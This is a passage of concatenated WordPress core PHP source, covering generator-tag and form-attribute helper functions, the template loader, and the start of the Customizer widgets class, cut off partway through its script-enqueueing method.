 * @return string|void The HTML content for the generator.
 */
function get_the_generator( $type = '' ) {
	if ( empty( $type ) ) {

		$current_filter = current_filter();
		if ( empty( $current_filter ) ) {
			return;
		}

		switch ( $current_filter ) {
			case 'rss2_head':
			case 'commentsrss2_head':
				$type = 'rss2';
				break;
			case 'rss_head':
			case 'opml_head':
				$type = 'comment';
				break;
			case 'rdf_header':
				$type = 'rdf';
				break;
			case 'atom_head':
			case 'comments_atom_head':
			case 'app_head':
				$type = 'atom';
				break;
		}
	}

	switch ( $type ) {
		case 'html':
			$gen = '<meta name="generator" content="WordPress ' . esc_attr( get_bloginfo( 'version' ) ) . '">';
			break;
		case 'xhtml':
			$gen = '<meta name="generator" content="WordPress ' . esc_attr( get_bloginfo( 'version' ) ) . '" />';
			break;
		case 'atom':
			$gen = '<generator uri="https://wordpress.org/" version="' . esc_attr( get_bloginfo_rss( 'version' ) ) . '">WordPress</generator>';
			break;
		case 'rss2':
			$gen = '<generator>' . sanitize_url( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . '</generator>';
			break;
		case 'rdf':
			$gen = '<admin:generatorAgent rdf:resource="' . sanitize_url( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . '" />';
			break;
		case 'comment':
			$gen = '<!-- generator="WordPress/' . esc_attr( get_bloginfo( 'version' ) ) . '" -->';
			break;
		case 'export':
			$gen = '<!-- generator="WordPress/' . esc_attr( get_bloginfo_rss( 'version' ) ) . '" created="' . gmdate( 'Y-m-d H:i' ) . '" -->';
			break;
	}

	/**
	 * Filters the HTML for the retrieved generator type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the generator type.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_the_generator_atom`
	 *  - `get_the_generator_comment`
	 *  - `get_the_generator_export`
	 *  - `get_the_generator_html`
	 *  - `get_the_generator_rdf`
	 *  - `get_the_generator_rss2`
	 *  - `get_the_generator_xhtml`
	 *
	 * @since 2.5.0
	 *
	 * @param string $gen  The HTML markup output to wp_head().
	 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
	 *                     'rss2', 'rdf', 'comment', 'export'.
	 */
	return apply_filters( "get_the_generator_{$type}", $gen, $type );
}

/**
 * Outputs the HTML checked attribute.
 *
 * Compares the first two arguments and if identical marks as checked.
 *
 * @since 1.0.0
 *
 * @param mixed $checked One of the values to compare.
 * @param mixed $current Optional. The other value to compare if not just true.
 *                       Default true.
 * @param bool  $display Optional. Whether to echo or just return the string.
 *                       Default true.
 * @return string HTML attribute or empty string.
 */
function checked( $checked, $current = true, $display = true ) {
	return __checked_selected_helper( $checked, $current, $display, 'checked' );
}

/**
 * Outputs the HTML selected attribute.
 *
 * Compares the first two arguments and if identical marks as selected.
 *
 * @since 1.0.0
 *
 * @param mixed $selected One of the values to compare.
 * @param mixed $current  Optional. The other value to compare if not just true.
 *                        Default true.
 * @param bool  $display  Optional. Whether to echo or just return the string.
 *                        Default true.
 * @return string HTML attribute or empty string.
 */
function selected( $selected, $current = true, $display = true ) {
	return __checked_selected_helper( $selected, $current, $display, 'selected' );
}

/**
 * Outputs the HTML disabled attribute.
 *
 * Compares the first two arguments and if identical marks as disabled.
 *
 * @since 3.0.0
 *
 * @param mixed $disabled One of the values to compare.
 * @param mixed $current  Optional. The other value to compare if not just true.
 *                        Default true.
 * @param bool  $display  Optional. Whether to echo or just return the string.
 *                        Default true.
 * @return string HTML attribute or empty string.
 */
function disabled( $disabled, $current = true, $display = true ) {
	return __checked_selected_helper( $disabled, $current, $display, 'disabled' );
}

/**
 * Outputs the HTML readonly attribute.
 *
 * Compares the first two arguments and if identical marks as readonly.
 *
 * @since 5.9.0
 *
 * @param mixed $readonly_value One of the values to compare.
 * @param mixed $current        Optional. The other value to compare if not just true.
 *                              Default true.
 * @param bool  $display        Optional. Whether to echo or just return the string.
 *                              Default true.
 * @return string HTML attribute or empty string.
 */
function wp_readonly( $readonly_value, $current = true, $display = true ) {
	return __checked_selected_helper( $readonly_value, $current, $display, 'readonly' );
}

/*
 * Include a compat `readonly()` function on PHP < 8.1. Since PHP 8.1,
 * `readonly` is a reserved keyword and cannot be used as a function name.
 * In order to avoid PHP parser errors, this function was extracted
 * to a separate file and is only included conditionally on PHP < 8.1.
 */
if ( PHP_VERSION_ID < 80100 ) {
	require_once __DIR__ . '/php-compat/readonly.php';
}

/**
 * Private helper function for checked, selected, disabled and readonly.
 *
 * Compares the first two arguments and if identical marks as `$type`.
 *
 * @since 2.8.0
 * @access private
 *
 * @param mixed  $helper  One of the values to compare.
 * @param mixed  $current The other value to compare if not just true.
 * @param bool   $display Whether to echo or just return the string.
 * @param string $type    The type of checked|selected|disabled|readonly we are doing.
 * @return string HTML attribute or empty string.
 */
function __checked_selected_helper( $helper, $current, $display, $type ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	if ( (string) $helper === (string) $current ) {
		$result = " $type='$type'";
	} else {
		$result = '';
	}

	if ( $display ) {
		echo $result;
	}

	return $result;
}

/**
 * Assigns a visual indicator for required form fields.
 *
 * @since 6.1.0
 *
 * @return string Indicator glyph wrapped in a `span` tag.
 */
function wp_required_field_indicator() {
	/* translators: Character to identify required form fields. */
	$glyph     = __( '*' );
	$indicator = '<span class="required">' . esc_html( $glyph ) . '</span>';

	/**
	 * Filters the markup for a visual indicator of required form fields.
	 *
	 * @since 6.1.0
	 *
	 * @param string $indicator Markup for the indicator element.
	 */
	return apply_filters( 'wp_required_field_indicator', $indicator );
}

/**
 * Creates a message to explain required form fields.
 *
 * @since 6.1.0
 *
 * @return string Message text and glyph wrapped in a `span` tag.
 */
function wp_required_field_message() {
	$message = sprintf(
		'<span class="required-field-message">%s</span>',
		/* translators: %s: Asterisk symbol (*). */
		sprintf( __( 'Required fields are marked %s' ), wp_required_field_indicator() )
	);

	/**
	 * Filters the message to explain required form fields.
	 *
	 * @since 6.1.0
	 *
	 * @param string $message Message text and glyph wrapped in a `span` tag.
	 */
	return apply_filters( 'wp_required_field_message', $message );
}

/**
 * Default settings for heartbeat.
 *
 * Outputs the nonce used in the heartbeat XHR.
 *
 * @since 3.6.0
 *
 * @param array $settings
 * @return array Heartbeat settings.
 */
function wp_heartbeat_settings( $settings ) {
	if ( ! is_admin() ) {
		$settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
	}

	if ( is_user_logged_in() ) {
		$settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
	}

	return $settings;
}
<?php
/**
 * Loads the correct template based on the visitor's url
 *
 * @package WordPress
 */
if ( wp_using_themes() ) {
	/**
	 * Fires before determining which template to load.
	 *
	 * @since 1.5.0
	 */
	do_action( 'template_redirect' );
}

/**
 * Filters whether to allow 'HEAD' requests to generate content.
 *
 * Provides a significant performance bump by exiting before the page
 * content loads for 'HEAD' requests. See #14348.
 *
 * @since 3.5.0
 *
 * @param bool $exit Whether to exit without generating any content for 'HEAD' requests. Default true.
 */
if ( 'HEAD' === $_SERVER['REQUEST_METHOD'] && apply_filters( 'exit_on_http_head', true ) ) {
	exit;
}

// Process feeds and trackbacks even if not using themes.
if ( is_robots() ) {
	/**
	 * Fired when the template loader determines a robots.txt request.
	 *
	 * @since 2.1.0
	 */
	do_action( 'do_robots' );
	return;
} elseif ( is_favicon() ) {
	/**
	 * Fired when the template loader determines a favicon.ico request.
	 *
	 * @since 5.4.0
	 */
	do_action( 'do_favicon' );
	return;
} elseif ( is_feed() ) {
	do_feed();
	return;
} elseif ( is_trackback() ) {
	require ABSPATH . 'wp-trackback.php';
	return;
}

if ( wp_using_themes() ) {

	$tag_templates = array(
		'is_embed'             => 'get_embed_template',
		'is_404'               => 'get_404_template',
		'is_search'            => 'get_search_template',
		'is_front_page'        => 'get_front_page_template',
		'is_home'              => 'get_home_template',
		'is_privacy_policy'    => 'get_privacy_policy_template',
		'is_post_type_archive' => 'get_post_type_archive_template',
		'is_tax'               => 'get_taxonomy_template',
		'is_attachment'        => 'get_attachment_template',
		'is_single'            => 'get_single_template',
		'is_page'              => 'get_page_template',
		'is_singular'          => 'get_singular_template',
		'is_category'          => 'get_category_template',
		'is_tag'               => 'get_tag_template',
		'is_author'            => 'get_author_template',
		'is_date'              => 'get_date_template',
		'is_archive'           => 'get_archive_template',
	);
	$template      = false;

	// Loop through each of the template conditionals, and find the appropriate template file.
	foreach ( $tag_templates as $tag => $template_getter ) {
		if ( call_user_func( $tag ) ) {
			$template = call_user_func( $template_getter );
		}

		if ( $template ) {
			if ( 'is_attachment' === $tag ) {
				remove_filter( 'the_content', 'prepend_attachment' );
			}

			break;
		}
	}

	if ( ! $template ) {
		$template = get_index_template();
	}

	/**
	 * Filters the path of the current template before including it.
	 *
	 * @since 3.0.0
	 *
	 * @param string $template The path of the template to include.
	 */
	$template = apply_filters( 'template_include', $template );
	if ( $template ) {
		include $template;
	} elseif ( current_user_can( 'switch_themes' ) ) {
		$theme = wp_get_theme();
		if ( $theme->errors() ) {
			wp_die( $theme->errors() );
		}
	}
	return;
}
<?php
/**
 * WordPress Customize Widgets classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.9.0
 */

/**
 * Customize Widgets class.
 *
 * Implements widget management in the Customizer.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Manager
 */
#[AllowDynamicProperties]
final class WP_Customize_Widgets {

	/**
	 * WP_Customize_Manager instance.
	 *
	 * @since 3.9.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * All id_bases for widgets defined in core.
	 *
	 * @since 3.9.0
	 * @var array
	 */
	protected $core_widget_id_bases = array(
		'archives',
		'calendar',
		'categories',
		'custom_html',
		'links',
		'media_audio',
		'media_image',
		'media_video',
		'meta',
		'nav_menu',
		'pages',
		'recent-comments',
		'recent-posts',
		'rss',
		'search',
		'tag_cloud',
		'text',
	);

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $rendered_sidebars = array();

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $rendered_widgets = array();

	/**
	 * @since 3.9.0
	 * @var array
	 */
	protected $old_sidebars_widgets = array();

	/**
	 * Mapping of widget ID base to whether it supports selective refresh.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $selective_refreshable_widgets;

	/**
	 * Mapping of setting type to setting ID pattern.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	protected $setting_id_patterns = array(
		'widget_instance' => '/^widget_(?P<id_base>.+?)(?:\[(?P<widget_number>\d+)\])?$/',
		'sidebar_widgets' => '/^sidebars_widgets\[(?P<sidebar_id>.+?)\]$/',
	);

	/**
	 * Initial loader.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		$this->manager = $manager;

		// See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L420-L449
		add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_customize_dynamic_setting_args' ), 10, 2 );
		add_action( 'widgets_init', array( $this, 'register_settings' ), 95 );
		add_action( 'customize_register', array( $this, 'schedule_customize_register' ), 1 );

		// Skip remaining hooks when the user can't manage widgets anyway.
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return;
		}

		add_action( 'wp_loaded', array( $this, 'override_sidebars_widgets_for_theme_switch' ) );
		add_action( 'customize_controls_init', array( $this, 'customize_controls_init' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'customize_controls_print_styles', array( $this, 'print_styles' ) );
		add_action( 'customize_controls_print_scripts', array( $this, 'print_scripts' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_footer_scripts' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'output_widget_control_templates' ) );
		add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) );
		add_filter( 'customize_refresh_nonces', array( $this, 'refresh_nonces' ) );
		add_filter( 'should_load_block_editor_scripts_and_styles', array( $this, 'should_load_block_editor_scripts_and_styles' ) );

		add_action( 'dynamic_sidebar', array( $this, 'tally_rendered_widgets' ) );
		add_filter( 'is_active_sidebar', array( $this, 'tally_sidebars_via_is_active_sidebar_calls' ), 10, 2 );
		add_filter( 'dynamic_sidebar_has_widgets', array( $this, 'tally_sidebars_via_dynamic_sidebar_calls' ), 10, 2 );

		// Selective Refresh.
		add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 );
		add_action( 'customize_preview_init', array( $this, 'selective_refresh_init' ) );
	}

	/**
	 * List whether each registered widget can be use selective refresh.
	 *
	 * If the theme does not support the customize-selective-refresh-widgets feature,
	 * then this will always return an empty array.
	 *
	 * @since 4.5.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @return array Mapping of id_base to support. If theme doesn't support
	 *               selective refresh, an empty array is returned.
	 */
	public function get_selective_refreshable_widgets() {
		global $wp_widget_factory;
		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
			return array();
		}
		if ( ! isset( $this->selective_refreshable_widgets ) ) {
			$this->selective_refreshable_widgets = array();
			foreach ( $wp_widget_factory->widgets as $wp_widget ) {
				$this->selective_refreshable_widgets[ $wp_widget->id_base ] = ! empty( $wp_widget->widget_options['customize_selective_refresh'] );
			}
		}
		return $this->selective_refreshable_widgets;
	}

	/**
	 * Determines if a widget supports selective refresh.
	 *
	 * @since 4.5.0
	 *
	 * @param string $id_base Widget ID Base.
	 * @return bool Whether the widget can be selective refreshed.
	 */
	public function is_widget_selective_refreshable( $id_base ) {
		$selective_refreshable_widgets = $this->get_selective_refreshable_widgets();
		return ! empty( $selective_refreshable_widgets[ $id_base ] );
	}

	/**
	 * Retrieves the widget setting type given a setting ID.
	 *
	 * @since 4.2.0
	 *
	 * @param string $setting_id Setting ID.
	 * @return string|void Setting type.
	 */
	protected function get_setting_type( $setting_id ) {
		static $cache = array();
		if ( isset( $cache[ $setting_id ] ) ) {
			return $cache[ $setting_id ];
		}
		foreach ( $this->setting_id_patterns as $type => $pattern ) {
			if ( preg_match( $pattern, $setting_id ) ) {
				$cache[ $setting_id ] = $type;
				return $type;
			}
		}
	}

	/**
	 * Inspects the incoming customized data for any widget settings, and dynamically adds
	 * them up-front so widgets will be initialized properly.
	 *
	 * @since 4.2.0
	 */
	public function register_settings() {
		$widget_setting_ids   = array();
		$incoming_setting_ids = array_keys( $this->manager->unsanitized_post_values() );
		foreach ( $incoming_setting_ids as $setting_id ) {
			if ( ! is_null( $this->get_setting_type( $setting_id ) ) ) {
				$widget_setting_ids[] = $setting_id;
			}
		}
		if ( $this->manager->doing_ajax( 'update-widget' ) && isset( $_REQUEST['widget-id'] ) ) {
			$widget_setting_ids[] = $this->get_setting_id( wp_unslash( $_REQUEST['widget-id'] ) );
		}

		$settings = $this->manager->add_dynamic_settings( array_unique( $widget_setting_ids ) );

		if ( $this->manager->settings_previewed() ) {
			foreach ( $settings as $setting ) {
				$setting->preview();
			}
		}
	}

	/**
	 * Determines the arguments for a dynamically-created setting.
	 *
	 * @since 4.2.0
	 *
	 * @param false|array $args       The arguments to the WP_Customize_Setting constructor.
	 * @param string      $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
	 * @return array|false Setting arguments, false otherwise.
	 */
	public function filter_customize_dynamic_setting_args( $args, $setting_id ) {
		if ( $this->get_setting_type( $setting_id ) ) {
			$args = $this->get_setting_args( $setting_id );
		}
		return $args;
	}

	/**
	 * Retrieves an unslashed post value or return a default.
	 *
	 * @since 3.9.0
	 *
	 * @param string $name          Post value.
	 * @param mixed  $default_value Default post value.
	 * @return mixed Unslashed post value or default value.
	 */
	protected function get_post_value( $name, $default_value = null ) {
		if ( ! isset( $_POST[ $name ] ) ) {
			return $default_value;
		}

		return wp_unslash( $_POST[ $name ] );
	}

	/**
	 * Override sidebars_widgets for theme switch.
	 *
	 * When switching a theme via the Customizer, supply any previously-configured
	 * sidebars_widgets from the target theme as the initial sidebars_widgets
	 * setting. Also store the old theme's existing settings so that they can
	 * be passed along for storing in the sidebars_widgets theme_mod when the
	 * theme gets switched.
	 *
	 * @since 3.9.0
	 *
	 * @global array $sidebars_widgets
	 * @global array $_wp_sidebars_widgets
	 */
	public function override_sidebars_widgets_for_theme_switch() {
		global $sidebars_widgets;

		if ( $this->manager->doing_ajax() || $this->manager->is_theme_active() ) {
			return;
		}

		$this->old_sidebars_widgets = wp_get_sidebars_widgets();
		add_filter( 'customize_value_old_sidebars_widgets_data', array( $this, 'filter_customize_value_old_sidebars_widgets_data' ) );
		$this->manager->set_post_value( 'old_sidebars_widgets_data', $this->old_sidebars_widgets ); // Override any value cached in changeset.

		// retrieve_widgets() looks at the global $sidebars_widgets.
		$sidebars_widgets = $this->old_sidebars_widgets;
		$sidebars_widgets = retrieve_widgets( 'customize' );
		add_filter( 'option_sidebars_widgets', array( $this, 'filter_option_sidebars_widgets_for_theme_switch' ), 1 );
		// Reset global cache var used by wp_get_sidebars_widgets().
		unset( $GLOBALS['_wp_sidebars_widgets'] );
	}

	/**
	 * Filters old_sidebars_widgets_data Customizer setting.
	 *
	 * When switching themes, filter the Customizer setting old_sidebars_widgets_data
	 * to supply initial $sidebars_widgets before they were overridden by retrieve_widgets().
	 * The value for old_sidebars_widgets_data gets set in the old theme's sidebars_widgets
	 * theme_mod.
	 *
	 * @since 3.9.0
	 *
	 * @see WP_Customize_Widgets::handle_theme_switch()
	 *
	 * @param array $old_sidebars_widgets
	 * @return array
	 */
	public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) {
		return $this->old_sidebars_widgets;
	}

	/**
	 * Filters sidebars_widgets option for theme switch.
	 *
	 * When switching themes, the retrieve_widgets() function is run when the Customizer initializes,
	 * and then the new sidebars_widgets here get supplied as the default value for the sidebars_widgets
	 * option.
	 *
	 * @since 3.9.0
	 *
	 * @see WP_Customize_Widgets::handle_theme_switch()
	 * @global array $sidebars_widgets
	 *
	 * @param array $sidebars_widgets
	 * @return array
	 */
	public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) {
		$sidebars_widgets                  = $GLOBALS['sidebars_widgets'];
		$sidebars_widgets['array_version'] = 3;
		return $sidebars_widgets;
	}

	/**
	 * Ensures all widgets get loaded into the Customizer.
	 *
	 * Note: these actions are also fired in wp_ajax_update_widget().
	 *
	 * @since 3.9.0
	 */
	public function customize_controls_init() {
		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/widgets.php */
		do_action( 'sidebar_admin_setup' );
	}

	/**
	 * Ensures widgets are available for all types of previews.
	 *
	 * When in preview, hook to {@see 'customize_register'} for settings after WordPress is loaded
	 * so that all filters have been initialized (e.g. Widget Visibility).
	 *
	 * @since 3.9.0
	 */
	public function schedule_customize_register() {
		if ( is_admin() ) {
			$this->customize_register();
		} else {
			add_action( 'wp', array( $this, 'customize_register' ) );
		}
	}

	/**
	 * Registers Customizer settings and controls for all sidebars and widgets.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 * @global array $wp_registered_widget_controls
	 * @global array $wp_registered_sidebars
	 */
	public function customize_register() {
		global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars;

		$use_widgets_block_editor = wp_use_widgets_block_editor();

		add_filter( 'sidebars_widgets', array( $this, 'preview_sidebars_widgets' ), 1 );

		$sidebars_widgets = array_merge(
			array( 'wp_inactive_widgets' => array() ),
			array_fill_keys( array_keys( $wp_registered_sidebars ), array() ),
			wp_get_sidebars_widgets()
		);

		$new_setting_ids = array();

		/*
		 * Register a setting for all widgets, including those which are active,
		 * inactive, and orphaned since a widget may get suppressed from a sidebar
		 * via a plugin (like Widget Visibility).
		 */
		foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) {
			$setting_id   = $this->get_setting_id( $widget_id );
			$setting_args = $this->get_setting_args( $setting_id );
			if ( ! $this->manager->get_setting( $setting_id ) ) {
				$this->manager->add_setting( $setting_id, $setting_args );
			}
			$new_setting_ids[] = $setting_id;
		}

		/*
		 * Add a setting which will be supplied for the theme's sidebars_widgets
		 * theme_mod when the theme is switched.
		 */
		if ( ! $this->manager->is_theme_active() ) {
			$setting_id   = 'old_sidebars_widgets_data';
			$setting_args = $this->get_setting_args(
				$setting_id,
				array(
					'type'  => 'global_variable',
					'dirty' => true,
				)
			);
			$this->manager->add_setting( $setting_id, $setting_args );
		}

		$this->manager->add_panel(
			'widgets',
			array(
				'type'                     => 'widgets',
				'title'                    => __( 'Widgets' ),
				'description'              => __( 'Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).' ),
				'priority'                 => 110,
				'active_callback'          => array( $this, 'is_panel_active' ),
				'auto_expand_sole_section' => true,
				'theme_supports'           => 'widgets',
			)
		);

		foreach ( $sidebars_widgets as $sidebar_id => $sidebar_widget_ids ) {
			if ( empty( $sidebar_widget_ids ) ) {
				$sidebar_widget_ids = array();
			}

			$is_registered_sidebar = is_registered_sidebar( $sidebar_id );
			$is_inactive_widgets   = ( 'wp_inactive_widgets' === $sidebar_id );
			$is_active_sidebar     = ( $is_registered_sidebar && ! $is_inactive_widgets );

			// Add setting for managing the sidebar's widgets.
			if ( $is_registered_sidebar || $is_inactive_widgets ) {
				$setting_id   = sprintf( 'sidebars_widgets[%s]', $sidebar_id );
				$setting_args = $this->get_setting_args( $setting_id );
				if ( ! $this->manager->get_setting( $setting_id ) ) {
					if ( ! $this->manager->is_theme_active() ) {
						$setting_args['dirty'] = true;
					}
					$this->manager->add_setting( $setting_id, $setting_args );
				}
				$new_setting_ids[] = $setting_id;

				// Add section to contain controls.
				$section_id = sprintf( 'sidebar-widgets-%s', $sidebar_id );
				if ( $is_active_sidebar ) {

					$section_args = array(
						'title'      => $wp_registered_sidebars[ $sidebar_id ]['name'],
						'priority'   => array_search( $sidebar_id, array_keys( $wp_registered_sidebars ), true ),
						'panel'      => 'widgets',
						'sidebar_id' => $sidebar_id,
					);

					if ( $use_widgets_block_editor ) {
						$section_args['description'] = '';
					} else {
						$section_args['description'] = $wp_registered_sidebars[ $sidebar_id ]['description'];
					}

					/**
					 * Filters Customizer widget section arguments for a given sidebar.
					 *
					 * @since 3.9.0
					 *
					 * @param array      $section_args Array of Customizer widget section arguments.
					 * @param string     $section_id   Customizer section ID.
					 * @param int|string $sidebar_id   Sidebar ID.
					 */
					$section_args = apply_filters( 'customizer_widgets_section_args', $section_args, $section_id, $sidebar_id );

					$section = new WP_Customize_Sidebar_Section( $this->manager, $section_id, $section_args );
					$this->manager->add_section( $section );

					if ( $use_widgets_block_editor ) {
						$control = new WP_Sidebar_Block_Editor_Control(
							$this->manager,
							$setting_id,
							array(
								'section'     => $section_id,
								'sidebar_id'  => $sidebar_id,
								'label'       => $section_args['title'],
								'description' => $section_args['description'],
							)
						);
					} else {
						$control = new WP_Widget_Area_Customize_Control(
							$this->manager,
							$setting_id,
							array(
								'section'    => $section_id,
								'sidebar_id' => $sidebar_id,
								'priority'   => count( $sidebar_widget_ids ), // place 'Add Widget' and 'Reorder' buttons at end.
							)
						);
					}

					$this->manager->add_control( $control );

					$new_setting_ids[] = $setting_id;
				}
			}

			if ( ! $use_widgets_block_editor ) {
				// Add a control for each active widget (located in a sidebar).
				foreach ( $sidebar_widget_ids as $i => $widget_id ) {

					// Skip widgets that may have gone away due to a plugin being deactivated.
					if ( ! $is_active_sidebar || ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
						continue;
					}

					$registered_widget = $wp_registered_widgets[ $widget_id ];
					$setting_id        = $this->get_setting_id( $widget_id );
					$id_base           = $wp_registered_widget_controls[ $widget_id ]['id_base'];

					$control = new WP_Widget_Form_Customize_Control(
						$this->manager,
						$setting_id,
						array(
							'label'          => $registered_widget['name'],
							'section'        => $section_id,
							'sidebar_id'     => $sidebar_id,
							'widget_id'      => $widget_id,
							'widget_id_base' => $id_base,
							'priority'       => $i,
							'width'          => $wp_registered_widget_controls[ $widget_id ]['width'],
							'height'         => $wp_registered_widget_controls[ $widget_id ]['height'],
							'is_wide'        => $this->is_wide_widget( $widget_id ),
						)
					);
					$this->manager->add_control( $control );
				}
			}
		}

		if ( $this->manager->settings_previewed() ) {
			foreach ( $new_setting_ids as $new_setting_id ) {
				$this->manager->get_setting( $new_setting_id )->preview();
			}
		}
	}

	/**
	 * Determines whether the widgets panel is active, based on whether there are sidebars registered.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_Customize_Panel::$active_callback
	 *
	 * @global array $wp_registered_sidebars
	 * @return bool Active.
	 */
	public function is_panel_active() {
		global $wp_registered_sidebars;
		return ! empty( $wp_registered_sidebars );
	}

	/**
	 * Converts a widget_id into its corresponding Customizer setting ID (option name).
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return string Maybe-parsed widget ID.
	 */
	public function get_setting_id( $widget_id ) {
		$parsed_widget_id = $this->parse_widget_id( $widget_id );
		$setting_id       = sprintf( 'widget_%s', $parsed_widget_id['id_base'] );

		if ( ! is_null( $parsed_widget_id['number'] ) ) {
			$setting_id .= sprintf( '[%d]', $parsed_widget_id['number'] );
		}
		return $setting_id;
	}

	/**
	 * Determines whether the widget is considered "wide".
	 *
	 * Core widgets which may have controls wider than 250, but can still be shown
	 * in the narrow Customizer panel. The RSS and Text widgets in Core, for example,
	 * have widths of 400 and yet they still render fine in the Customizer panel.
	 *
	 * This method will return all Core widgets as being not wide, but this can be
	 * overridden with the {@see 'is_wide_widget_in_customizer'} filter.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widget_controls
	 *
	 * @param string $widget_id Widget ID.
	 * @return bool Whether or not the widget is a "wide" widget.
	 */
	public function is_wide_widget( $widget_id ) {
		global $wp_registered_widget_controls;

		$parsed_widget_id = $this->parse_widget_id( $widget_id );
		$width            = $wp_registered_widget_controls[ $widget_id ]['width'];
		$is_core          = in_array( $parsed_widget_id['id_base'], $this->core_widget_id_bases, true );
		$is_wide          = ( $width > 250 && ! $is_core );

		/**
		 * Filters whether the given widget is considered "wide".
		 *
		 * @since 3.9.0
		 *
		 * @param bool   $is_wide   Whether the widget is wide, Default false.
		 * @param string $widget_id Widget ID.
		 */
		return apply_filters( 'is_wide_widget_in_customizer', $is_wide, $widget_id );
	}

	/**
	 * Converts a widget ID into its id_base and number components.
	 *
	 * @since 3.9.0
	 *
	 * @param string $widget_id Widget ID.
	 * @return array Array containing a widget's id_base and number components.
	 */
	public function parse_widget_id( $widget_id ) {
		$parsed = array(
			'number'  => null,
			'id_base' => null,
		);

		if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $matches ) ) {
			$parsed['id_base'] = $matches[1];
			$parsed['number']  = (int) $matches[2];
		} else {
			// Likely an old single widget.
			$parsed['id_base'] = $widget_id;
		}
		return $parsed;
	}

	/**
	 * Converts a widget setting ID (option path) to its id_base and number components.
	 *
	 * @since 3.9.0
	 *
	 * @param string $setting_id Widget setting ID.
	 * @return array|WP_Error Array containing a widget's id_base and number components,
	 *                        or a WP_Error object.
	 */
	public function parse_widget_setting_id( $setting_id ) {
		if ( ! preg_match( '/^(widget_(.+?))(?:\[(\d+)\])?$/', $setting_id, $matches ) ) {
			return new WP_Error( 'widget_setting_invalid_id' );
		}

		$id_base = $matches[2];
		$number  = isset( $matches[3] ) ? (int) $matches[3] : null;

		return compact( 'id_base', 'number' );
	}

	/**
	 * Calls admin_print_styles-widgets.php and admin_print_styles hooks to
	 * allow custom styles from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_styles() {
		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_styles-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_styles' );
	}

	/**
	 * Calls admin_print_scripts-widgets.php and admin_print_scripts hooks to
	 * allow custom scripts from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_scripts() {
		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_print_scripts' );
	}

	/**
	 * Enqueues scripts and styles for Customizer panel and export data to JavaScript.
	 *
	 * @since 3.9.0
	 *
	 * @global WP_Scripts $wp_scripts
	 * @global array $wp_registered_sidebars
	 * @global array $wp_registered_widgets
	 */
	public function enqueue_scripts() {
		global $wp_scripts, $wp_registered_sidebars, $wp_registered_widgets;

		wp_enqueue_style( 'customize-widgets' );
		wp_enqueue_script( 'customize-widgets' );

		/** This action is documented in wp-admin/admin-header.php */
		do_action( 'admin_enqueue_scripts', 'widgets.php' );

		/*
		 * Export available widgets with control_tpl removed from model
		 * since plugins need templates to be in the DOM.
		 */
		$available_widgets = array();

		foreach ( $this->get_available_widgets() as $available_widget ) {
			unset( $available_widget['control_tpl'] );
			$available_widgets[] = $available_widget;
		}

		$widget_reorder_nav_tpl = sprintf(
			'<div class="widget-reorder-nav"><span class="move-widget" tabindex="0">%1$s</span><span class="move-widget-down" tabindex="0">%2$s</span><span class="move-widget-up" tabindex="0">%3$s</span></div>',
			__( 'Move to another area&hellip;' ),
			__( 'Move down' ),
			__( 'Move up' )
		);

